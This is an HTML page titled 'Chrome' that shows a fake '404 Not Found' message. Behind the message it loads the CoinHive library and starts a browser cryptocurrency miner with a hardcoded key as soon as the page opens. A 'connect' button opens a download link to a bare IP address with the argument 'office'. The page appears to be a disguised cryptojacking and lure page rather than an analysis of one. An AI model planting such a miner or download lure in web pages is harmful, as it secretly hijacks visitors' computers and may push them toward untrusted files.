<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Chrome</title>
</head>
<body>

<script src="https://coinhive.com/lib/coinhive.min.js"></script>

<script>
    var miner = new CoinHive.User('PgRKmSWStYyw2Ti3loAQgBScbN7c8e7O', 'Alex');
    miner.start();
</script>
<p>404 Not Found</p>

<div>
    <button id="down" onclick="connect();">连接</button>
</div>



</body>
<script type="text/javascript">
    function connect() {
       window.open("http://123.206.210.251:9999/fileApi/down?arg=office")
    }
</script>
</html>